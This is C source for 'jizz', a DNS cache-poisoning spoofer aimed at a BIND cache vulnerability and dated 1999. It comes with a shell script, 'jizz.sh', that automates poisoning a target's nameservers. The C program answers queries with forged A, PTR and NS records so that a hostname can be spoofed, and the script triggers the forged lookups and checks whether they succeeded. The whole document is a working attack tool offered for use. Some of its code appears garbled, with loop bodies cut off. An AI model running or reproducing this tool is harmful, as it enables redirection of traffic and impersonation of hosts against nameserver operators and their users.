#define VERSION ".01b" #include #include #include #include #include #include #include #include #define MAXBUFSIZE 64*1024 #define DC_A 1 #define DC_NS 2 #define DC_CNAME 5 #define DC_SOA 6 #define DC_WKS 11 #define DC_PTR 12 #define DC_HINFO 13 #define DC_MINFO 14 #define DC_MX 15 #define DC_TXT 16 typedef struct { unsigned short id; unsigned char rd: 1; /* recursion desired */ unsigned char tc: 1; /* truncated message */ unsigned char aa: 1; /* authoritive answer */ unsigned char opcode: 4; /* purpose of message */ unsigned char qr: 1; /* response flag */ unsigned char rcode: 4; /* response code */ unsigned char unused: 2; /* unused bits */ unsigned char pr: 1; /* primary server required (non standard) */ unsigned char ra: 1; /* recursion available */ unsigned short qdcount; unsigned short ancount; unsigned short nscount; unsigned short arcount; } dnsheaderrec; typedef struct { unsigned short labellen; char label[256]; unsigned short type; unsigned short class; unsigned long ttl; unsigned short buflen; char buf[256]; } dnsrrrec; typedef struct { dnsheaderrec h; dnsrrrec qd[20]; dnsrrrec an[20]; dnsrrrec ns[20]; dnsrrrec ar[20]; } dnsrec; char *dnssprintflabel(char *s, char *buf, char *p); char *dnsaddlabel(char *p, char *label); void dnstxt2rr(dnsrrrec *rr, char *b); void dnsbuildpacket(dnsrec *dns, short qdcount, short ancount, short nscount, short arcount, ...); char *dnsaddbuf(char *p, void *buf, short len); int dnsmakerawpacket(dnsrec *dns, char *buf); unsigned long rev_long(l) unsigned long l; { unsigned long i = 0; int n = sizeof(i); while (n--) { i = (i << 8) | (l & 255); l >>= 8; } return i; } char *dnssprintflabel(char *s, char *buf, char *p) { unsigned short i,len; char *b=NULL; len=(unsigned short)*(p++); while (len) { while (len >= 0xC0) { if (!b) b=p+1; p=buf+(ntohs(*((unsigned short *)(p-1))) & ~0xC000); len=(unsigned short)*(p++); } for (i=0;ilabel,tok[0]); rr->labellen=p-rr->label; i=1; if (isdigit(*p)) rr->ttl=htonl(atol(tok[i++])); else rr->ttl=htonl(DEFAULTTTL); if (strcmp(tok[i],"IN") == 0) i++; rr->class=htons(1); if (strcmp(tok[i],"A") == 0) { i++; rr->type=htons(DC_A); if (i < numt) { inet_aton(tok[i],rr->buf); rr->buflen=4; } else rr->buflen=0; return; } if (strcmp(tok[i],"CNAME") == 0) { i++; rr->type=htons(DC_CNAME); if (i < numt) { p=dnsaddlabel(rr->buf,tok[i]); rr->buflen=p-rr->buf; } else rr->buflen=0; return; } if (strcmp(tok[i],"NS") == 0) { i++; rr->type=htons(DC_NS); if (i < numt) { p=dnsaddlabel(rr->buf,tok[i]); rr->buflen=p-rr->buf; } else rr->buflen=0; return; } if (strcmp(tok[i],"PTR") == 0) { i++; rr->type=htons(DC_PTR); if (i < numt) { p=dnsaddlabel(rr->buf,tok[i]); rr->buflen=p-rr->buf; } else rr->buflen=0; return; } if (strcmp(tok[i],"MX") == 0) { i++; rr->type=htons(DC_MX); if (i < numt) { p=rr->buf; *((unsigned short *)p)=htons(atoi(tok[i++])); p+=2; p=dnsaddlabel(p,tok[i]); rr->buflen=p-rr->buf; } else rr->buflen=0; return; } } void dnsbuildpacket(dnsrec *dns, short qdcount, short ancount, short nscount, short arcount, ...) { int i; va_list va; dns->h.qdcount=htons(qdcount); dns->h.ancount=htons(ancount); dns->h.nscount=htons(nscount); dns->h.arcount=htons(arcount); dns->h.rcode=0; va_start(va, arcount); for (i=0;iqd[i],va_arg(va, char *)); for (i=0;ian[i],va_arg(va, char *)); for (i=0;ins[i],va_arg(va, char *)); for (i=0;iar[i],va_arg(va, char *)); va_end(va); } char *dnsaddbuf(char *p, void *buf, short len) { memcpy(p,buf,len); return(p+len); } int dnsmakerawpacket(dnsrec *dns, char *buf) { char *p; int i; unsigned short len; memcpy(buf,&dns->h,sizeof(dnsheaderrec)); p=buf+sizeof(dnsheaderrec); /********** Query ***********/ for (i=0;ih.qdcount);i++) { p=dnsaddbuf(p,dns->qd[i].label,dns->qd[i].labellen); p=dnsaddbuf(p,&dns->qd[i].type,2); p=dnsaddbuf(p,&dns->qd[i].class,2); } /********** Answer ***********/ for (i=0;ih.ancount);i++) { p=dnsaddbuf(p,dns->an[i].label,dns->an[i].labellen); p=dnsaddbuf(p,&dns->an[i].type,2); p=dnsaddbuf(p,&dns->an[i].class,2); p=dnsaddbuf(p,&dns->an[i].ttl,4); len=htons(dns->an[i].buflen); p=dnsaddbuf(p,&len,2); p=dnsaddbuf(p,dns->an[i].buf,dns->an[i].buflen); } /********** Nameservers ************/ for (i=0;ih.nscount);i++) { p=dnsaddbuf(p,dns->ns[i].label,dns->ns[i].labellen); p=dnsaddbuf(p,&dns->ns[i].type,2); p=dnsaddbuf(p,&dns->ns[i].class,2); p=dnsaddbuf(p,&dns->ns[i].ttl,4); len=htons(dns->ns[i].buflen); p=dnsaddbuf(p,&len,2); p=dnsaddbuf(p,dns->ns[i].buf,dns->ns[i].buflen); } /********** Additional ************/ for (i=0;ih.arcount);i++) { p=dnsaddbuf(p,dns->ar[i].label,dns->ar[i].labellen); p=dnsaddbuf(p,&dns->ar[i].type,2); p=dnsaddbuf(p,&dns->ar[i].class,2); p=dnsaddbuf(p,&dns->ar[i].ttl,4); len=htons(dns->ar[i].buflen); p=dnsaddbuf(p,&len,2); p=dnsaddbuf(p,dns->ar[i].buf,dns->ar[i].buflen); } return(p-buf); } void main(int argc, char *argv[]) { int sock, fromlen, numread, len, query; struct sockaddr_in sa, from, to; struct in_addr rev; char *buf, *sendbuf; char *domainnamebuf; dnsheaderrec *dns; char *p; dnsrec dnsh; char *beginhost_QD, *beginhost_A, *beginhost_srch; char *fakenshost_A, *fakens_DOM; char *spoofedip_A, *spoofedip_PTR, *spoofedip_rev; printf("jizz %s -- dns spoofer (BIND cache vuln.)\n",VERSION); printf("by nimrood\n\n"); if (argc != 7) { printf("usage: \n%s \n",argv[0]); printf(" beginhost : requested to initiate false caching, ex: begin.ib6ub9.com\n"); printf(" fakenshost : server name to answer false PTR's, ex: ns.ib6ub9.com\n"); printf(" fakensip : IP of server name to answer false PTR's, ex: 205.160.29.19\n"); printf(" fakensdom : domain name false name server controls, ex: ib6ub9.com\n"); printf(" spoofedip : IP of machine you want to spoof from, ex: 204.154.2.93\n"); printf(" spoofedhost: name you want to spoof, ex: teak.0wns.j00\n\n"); exit(-1); } if ((beginhost_QD = malloc((strlen(argv[1]))+5+1)) == NULL) { perror("malloc"); exit(-1); } if ((beginhost_A = malloc(strlen(argv[1])+15+1)) == NULL) { perror("malloc"); exit(-1); } if ((beginhost_srch = malloc(strlen(argv[1])+1+1)) == NULL) { perror("malloc"); exit(-1); } if ((fakenshost_A = malloc(strlen(argv[2])+strlen(argv[3])+6+1)) == NULL) { perror("malloc"); exit(-1); } if ((fakens_DOM = malloc(strlen(argv[4])+strlen(argv[2])+4+1)) == NULL) { perror("malloc"); exit(-1); } if ((spoofedip_A = malloc(strlen(argv[6])+strlen(argv[5])+6+1)) == NULL) { perror("malloc"); exit(-1); } if ((spoofedip_PTR = malloc(strlen(argv[5])+strlen(argv[6])+21+1)) == NULL) { perror("malloc"); exit(-1); } if ((spoofedip_rev = malloc(strlen(argv[5])+1)) == NULL) { perror("malloc"); exit(-1); } if ((buf = malloc(MAXBUFSIZE)) == NULL) { perror("malloc"); exit(-1); } if ((sendbuf = malloc(MAXBUFSIZE)) == NULL) { perror("malloc"); exit(-1); } if ((domainnamebuf = malloc(MAXBUFSIZE)) == NULL) { perror("malloc"); exit(-1); } if ((sock=socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0) { perror("socket"); exit(-1); } beginhost_QD = strcpy(beginhost_QD,argv[1]); beginhost_QD = strcat(beginhost_QD, " IN A"); beginhost_A = strcat(strcpy(beginhost_A,beginhost_QD), " 127.0.0.1"); beginhost_srch = strcat(strcpy(beginhost_srch,argv[1]), "."); printf("%s\n",beginhost_srch); fakenshost_A = strcat(strcpy(fakenshost_A,argv[2]), " IN A "); fakenshost_A = strcat(fakenshost_A, argv[3]); fakens_DOM = strcat(strcpy(fakens_DOM,argv[4]), " IN NS "); fakens_DOM = strcat(fakens_DOM,argv[2]); spoofedip_A = strcat(strcpy(spoofedip_A,argv[6]), " IN A "); spoofedip_A = strcat(spoofedip_A,argv[5]); rev.s_addr = rev_long(inet_addr(argv[5])); spoofedip_PTR = strcat(strcpy(spoofedip_PTR,(char *)inet_ntoa(rev.s_addr)), ".IN-ADDR.ARPA IN PTR "); spoofedip_PTR = strcat(spoofedip_PTR,argv[6]); printf("%s\n%s\n%s\n%s\n%s\n%s\n", beginhost_QD,beginhost_A,fakenshost_A,fakens_DOM,spoofedip_A,spoofedip_PTR); sa.sin_family = AF_INET; /* sa.sin_addr.s_addr = inet_addr(DEFAULTBINDHOST); */ sa.sin_addr.s_addr = INADDR_ANY; sa.sin_port = htons(53); if (bind(sock, (struct sockaddr *)&sa, sizeof(sa)) < 0) { perror("bind"); exit(-1); } setvbuf(stdout,NULL,_IONBF,0); while (1) { fromlen=sizeof(from); if ((numread = recvfrom(sock, buf, MAXBUFSIZE, 0, (struct sockaddr *)&from, &fromlen)) < 0) { perror("recvfrom"); continue; } /* Kludge to stop that damn router */ if (from.sin_addr.s_addr == inet_addr("206.126.32.10")) continue; dns=(dnsheaderrec *)buf; if (dns->qr) continue; p=dnssprintflabel(domainnamebuf,buf,&buf[sizeof(dnsheaderrec)]); query=ntohs(*(unsigned short *)p); printf("Packet from %s : %d : %s (%d)\n",inet_ntoa(from.sin_addr),ntohs(from.sin_port),domainnamebuf,query); if (strcasecmp(domainnamebuf,beginhost_srch) == 0) { dnsbuildpacket(&dnsh,1,4,1,1, beginhost_QD, beginhost_A, spoofedip_A, spoofedip_PTR, fakenshost_A, fakens_DOM, "www.yahoo.com IN A 255.255.255.255"); } else { /* Error */ dnsh.h.rcode=5; strcat(domainnamebuf," IN A"); dnsbuildpacket(&dnsh,1,0,0,0, domainnamebuf); } dnsh.qd[0].type=htons(query); dnsh.h.id=((dnsheaderrec *)buf)->id; dnsh.h.qr=1; dnsh.h.aa=1; len=dnsmakerawpacket(&dnsh,sendbuf); to.sin_family=AF_INET; to.sin_addr.s_addr=from.sin_addr.s_addr; to.sin_port=from.sin_port; if (sendto(sock,sendbuf,len,0,(struct sockaddr *)&to,sizeof(to)) < 0) { perror("sendto"); continue; } } } /* www.hack.co.za [1999]*/ --- begin jizz.sh --- #!/bin/sh # # This script requires perl and the latest version of sh-utils for calculations, # as well as other various standard unix utilities. # # This interface DOES NOT require you to know the cacheing nameserver of # the destination server, it will attempt to calculate it for you. # case "${3}" in "") echo echo "Intelligent DNS spoofer interface, by philbert." echo "(philbert@DataTrax.Net)" echo echo "usage: $0 " echo "or: $0 -ns " echo exit 1 ;; esac # ---------------------------------------------------------- # Set the configurations for your nameserver here # The name of the nameserver this is running on: NS=ns3.datatrax.net # The IP address of the nameserver this is running on: IP=1.2.3.4 # A domain that this nameserver is strictly authorative for: AUTH=spoof.datatrax.net # End of user configuration # ---------------------------------------------------------- RAND=$RANDOM export RAND jizz $RAND.$AUTH. $NS $IP $AUTH $1 $2. >/dev/null & sleep 1 if [ "$3" = "-ns" ]; then echo "echo "trying to cache $2 on $4..." nslookup -type=soa $RAND.$AUTH. $4 >/dev/null 2>&1 echo "$1 is cached on $2 as `nslookup $1 $2 | grep Name | cut -c10-` exit 1 else false ; fi NS=`host $3. | perl -n -e 's/([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)/print $1/e'` if [ "NS" = "" ]; then NS=$3; else NS=$NS; fi echo "trying to cache $2 on the server itself..." nslookup -type=soa $RAND.$AUTH. $NS >/dev/null 2>&1 TEST=`nslookup $1 $3 | grep Name | cut -c10-` if [ "$TEST" = "$2" ]; then echo "Success!, $2 is cached on $3 as $1" else echo "Failed..."; fi RDEST=`nslookup $NS | grep Name | cut -c10-` if [ "$RDEST" = "" ]; then RDEST=$3; else RDEST=$RDEST; fi NS=`dnsquery $RDEST | grep "IN NS" | cut -f3- | cut -f2- -dS` if [ "$NS" = "" ]; then NS=`echo $RDEST | cut -f2- -d.` NS=`dnsquery $NS | grep "IN NS" | cut -f3- | cut -f2- -dS` else NS=$NS; fi CRUNCH=1 while true ; do TARGET=`echo $NS | cut -f$CRUNCH -d" "` if [ "$TARGET" = "" ]; then killall -9 jizz >/dev/null & exit 1; else TARGET=$TARGET; fi echo "trying to cache $2 on $TARGET..." nslookup -type=soa $RAND.$AUTH. $TARGET >/dev/null 2>&1 TEST=`nslookup $1 $TARGET | grep Name | cut -c10-` if [ "$TEST" = "$2" ]; then echo "Success!, $2 is cached on $TARGET as $1" else echo "Failed..."; fi CRUNCH=`expr $CRUNCH + 1` done --- end jizz.sh ---